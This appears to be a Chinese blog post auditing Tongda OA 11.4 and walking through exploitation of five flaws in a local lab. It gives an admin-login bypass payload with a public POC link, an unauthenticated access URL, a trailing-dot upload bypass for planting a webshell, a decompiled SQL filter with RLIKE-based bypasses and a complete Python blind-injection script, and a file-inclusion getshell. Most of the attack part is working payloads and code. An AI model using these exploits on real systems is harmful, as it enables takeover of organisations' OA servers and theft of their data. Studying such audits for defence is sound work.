通达OA V11.4漏洞 -代码审计

前言:

O A 版本:通达OA系统11.4

测试环境:本地

渗透工具:BurpSuite pro、SeayDzend、TongDaOA-Fake-User(POC)、PHPstorm、蚁剑

1. 存在漏洞

  1. 前台任意用户登录漏洞

  1. 前台未授权访问漏洞

  1. 管理后台文件上传漏洞

  1. 后台SQL注入漏洞

  1. 文件包含getshell

根据提供的POC的代码分析,该漏洞涉及的文件包含以下四个文件:

/ispirit/login_code.php/ispirit/login_code_check.php/general/login_code_scan.php/general/index.php

通达OA源码使用zend5加密,利用解密工具SeayDzend解密上述四个文件后分析源码。

  1. /ispirit/login_code.php

该文件用来获取codeuid 参数,如果不存在,则会自动生成一个codeuid ,并且将其写入CODE_LOGIN_PC缓存中(通达OA使用了缓存系统Redis,同时也提供了对缓存的使用方法),但是在18行位置将这个参数显示出来,导致用户可以获取这个参数的值,从而可以绕过后面的验证。

  1. /general/login_code_scan.php

在这一文件中,用户可以控制输入的关键参数uid,在存在漏洞的通达OA版本中,后台数据库里uid对应的用户是admin管理员账户。并且将该数据存储在CODE_INFO_PC 缓存中,因为我们在第一个文件中获取的codeuid存储在CODE_LOGIN_PC中,所以这里在复现时需要指明source变量为pc,这里的username则为admin,而type变量需要指明为confirm

  1. /ispirit/login_code_check.php

这里使用之前存储的两个缓存中的内容,一个用来获取codeuid,一个用来获取通过Post 传入的uid等关键信息。

这里是最为关键的位置,代码获取用户可控的参数uid,并依次作为依据直接带入数据库进行查询。

随后将查询的信息直接写入session中,通过这一步, session中包含的就是管理员的身份信息。

3.1.2 手工抓包复现:

抓首页的包进行更改,访问/ispirit/login_code.php,通过返回包获取codeuid

  1. 使用POST方式访问/general/login_code_scan.php,提交相关参数,其中codeuid改为上一步中返回的值。

payload:

uid=1&codeuid={your-codeuid}&type=confirm&source=pc&username=admin

使用GET方式访问/ispirit/login_code_check.php,传入关键参数codeuid,让后台进行代入查询,并返回携带管理员身份信息的凭证。

经过这步后客户端已经拥有了管理员的身份信息,直接访问OA主页,放行如下数据包以及后续的数据包(后续数据包内容大概为管理页面的其他内容),成功以管理员身份登录OA系统。

3.1.3 POC自动获取复现:

在python环境下运行POC,返回cookie

(POC来自Github:https://github.com/NS-Sp4ce/TongDaOA-Fake-User

替换浏览器存储的cookie,访问http://your-ip/general/成功以管理员身份登录OA系统。

未更改cookie前:

更改cookie后:

3.2 前台未授权访问漏洞

备注:需要后台有账户在线时使用

  1. 访问http://your-ip/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 ,此时出现RELOGIN,说明目前没有人在线,需要等待有人登录的时候再尝试。

  1. 在虚拟机通达后台登录管理员账号,再次尝试,此时出现空白页面,说明已经获得权限。

  1. 再次访问http://your-ip/general/,成功进入系统。

3.3 管理后台文件上传漏洞

登录后台后,在“系统管理 → 系统参数设置 → OA服务设置”,找到Webroot目录

  1. 点击系统管理 → 附件管理 → 添加存储目录,在此重新设置上传附件存储目录(原先默认的路径在MYOA -> attach,不在网站目录MYOA -> webroot下)

注:

此处的更改上传文件路径选项在通达OA11.2的版本下可以,11.4版本中不能如此设置,因为这个路径被识别为敏感路径。

选择组织 → 管理员 → 附件上传,经测试,此处上传“php、php5、phtml”等后缀会被过滤,此时上传TXT 文件是成功的。抓包查看返回值。

根据返回的结果,拼接文件路径, http://your-ip/im/2106/704995893.shell.txt

在虚拟机中查看该目录,上传成功

利用windows系统会自动去掉符号“点”,上传shell.php. 文件进行绕过

根据返回的结果,拼接文件路径:http://your-ip/im/2106/shell.php,蚁剑连接,成功getshell

3.4 后台SQL注入漏洞

备注:复现此漏洞需先通过上述操作登录OA管理后台,此时为admin权限但无数据库操作权限,此时存在SQL注入漏洞。

漏洞位置:/general/hr/manage/query/delete_cascade.php

如果$condition_cascade不为空就把里面的\'替换为',然后执行。

原因:V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护。

具体代码在inc/common.inc.php中,接收了我们的输入$_GET,然后将值$s_value进行了addslashes处理

addslashes()作用

我们再来看看是怎么执行SQL语句的,在delete_cascade.php中,使用的是exequery()函数。而inc/conn.php文件中是对SQL语句的各种处理函数。

我们跟踪exequery()函数,可以在inc/conn.php中找到定义,可以发现这里又调用了db_query()函数。

我们继续跟踪db_query()函数,可以发现这里就是执行SQL语句的函数,但是执行之前使用sql_injection()函数进行了过滤。

sql_injection()函数如下所示。

function sql_injection($db_string)
{
    $clean = "";
    $error = "";
    $old_pos = 0;
    $pos = -1;
    $db_string = str_replace(" ", " ", $db_string);

    while (true) {
        $pos = strpos($db_string, "'", $pos + 1);

        if ($pos === false) {
            break;
        }

        $clean .= substr($db_string, $old_pos, $pos - $old_pos);

        while (true) {
            $pos1 = strpos($db_string, "'", $pos + 1);
            $pos2 = strpos($db_string, "\\", $pos + 1);

            if ($pos1 === false) {
                break;
            }
            else {
                if (($pos2 == false) || ($pos1 < $pos2)) {
                    $pos = $pos1;
                    break;
                }
            }

            $pos = $pos2 + 1;
        }

        $clean .= "\$s\$";
        $old_pos = $pos + 1;
    }

    $clean .= substr($db_string, $old_pos);
    $clean = trim(strtolower(preg_replace(array("~\s+~s"), array(" "), $clean)));
    $fail = false;
    if ((strpos($clean, "union") !== false) && (preg_match("~(^|[^a-z])union($|[^[a-z])~s", $clean) != 0)) {
        $fail = true;
        $error = _("联合查询");
    }
    else {
        if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {
            $fail = true;
            $error = _("注释代码");
        }
        else {
            if ((strpos($clean, "sleep") !== false) && (preg_match("~(^|[^a-z])sleep($|[^[a-z])~s", $clean) != 0)) {
                $fail = true;
                $error = "sleep";
            }
            else {
                if ((strpos($clean, "benchmark") !== false) && (preg_match("~(^|[^a-z])benchmark($|[^[a-z])~s", $clean) != 0)) {
                    $fail = true;
                    $error = "benchmark";
                }
                else {
                    if ((strpos($clean, "load_file") !== false) && (preg_match("~(^|[^a-z])load_file($|[^[a-z])~s", $clean) != 0)) {
                        $fail = true;
                        $error = _("Load文件");
                    }
                    else {
                        if ((strpos($clean, "cast") !== false) && (preg_match("~(^|[^a-z])mid($|[^[a-z])~s", $clean) != 0)) {
                            $fail = true;
                            $error = "cast";
                        }
                        else {
                            if ((strpos($clean, "ord") !== false) && (preg_match("~(^|[^a-z])ord($|[^[a-z])~s", $clean) != 0)) {
                                $fail = true;
                                $error = "ord";
                            }
                            else {
                                if ((strpos($clean, "ascii") !== false) && (preg_match("~(^|[^a-z])ascii($|[^[a-z])~s", $clean) != 0)) {
                                    $fail = true;
                                    $error = "ascii";
                                }
                                else {
                                    if ((strpos($clean, "extractvalue") !== false) && (preg_match("~(^|[^a-z])extractvalue($|[^[a-z])~s", $clean) != 0)) {
                                        $fail = true;
                                        $error = "extractvalue";
                                    }
                                    else {
                                        if ((strpos($clean, "updatexml") !== false) && (preg_match("~(^|[^a-z])updatexml($|[^[a-z])~s", $clean) != 0)) {
                                            $fail = true;
                                            $error = "updatexml";
                                        }
                                        else {
                                            if ((strpos($clean, "into outfile") !== false) && (preg_match("~(^|[^a-z])into\s+outfile($|[^[a-z])~s", $clean) != 0)) {
                                                $fail = true;
                                                $error = _("生成文件");
                                            }
                                            else {
                                                if ((strpos($clean, "exp") !== false) && (preg_match("~(^|[^a-z])exp($|[^[a-z])~s", $clean) != 0)) {
                                                    $fail = true;
                                                    $error = _("exp");
                                                }
                                                else {
                                                    if ((stripos($db_string, "update") !== false) && (stripos($db_string, "user") !== false) && (stripos($db_string, "set") !== false) && (stripos($db_string, "file_priv") !== false)) {
                                                        $fail = true;
                                                        $error = "set file_priv";
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }

    if ($fail) {
        echo _("不安全的SQL语句:") . $error . "<br />";
        echo td_htmlspecialchars($db_string);
        exit();
    }
    else {
        return $db_string;
    }
}

过滤了union /* sleep benchmark load_file cast ord ascii extractvaleue updatexml into outfile exp update user set file_priv set file_priv 这些字符,盲注的核心是:substr、if等函数,均未被过滤,那么只要构造MySQL报错即可配合if函数进行盲注了。

这里可以使用if来进行报错注入,这里还知道了power(9999,99)也能报错,当字符相等时,不报错,错误时报错。

select if(1=1,1,power(9999,99))
select if(1=2,1,power(9999,99))

也可以用rlike报错注入

select 1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
select 1 RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END))

如下所示,1=1返回成功,1=2则报错,说明存在盲注

老规矩,直接用脚本来进行注入

import requests
import urllib
url = 'http://192.168.8.21:8080/general/hr/manage/query/delete_cascade.php'
cookies = "USER_NAME_COOKIE=admin; SID_1=742da844; SID_65=8232122; OA_USER_ID=admin; PHPSESSID=osa9rkacs839k0ki2s48i2d921"
sql = '(select database())'
flag = ''
for i in range(1, 50):
    high = 132
    low = 32
    mid = (high+low)//2
    while high > low:
        char = flag+chr(mid)
        headers = {
            "cookie": urllib.parse.unquote(cookies)
        }
        target = url + "?condition_cascade=select 3 RLIKE (SELECT (CASE WHEN (substr({0},{1},1)>={2}) THEN 1 ELSE " \
                       "0x28 END))".format(sql, i, hex(mid))
        s = requests.get(url=target, headers=headers)
        if '信息删除成功' in s.text:
            low = mid+1
        else:
            high = mid
        mid = (high+low)//2
        if mid == 33 or mid ==132:
            exit(0)
    flag += chr(mid-1)
    print("[+] "+flag)

修改一下脚本中的url、cookie、和要执行的SQL语句即可

3.5 文件包含getshell

  1. Goby扫描目标站点,爆出通达文件包含getshell,进行验证,goby自动完成Webshell上传。

  1. 蚁剑连接shell成功验证。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值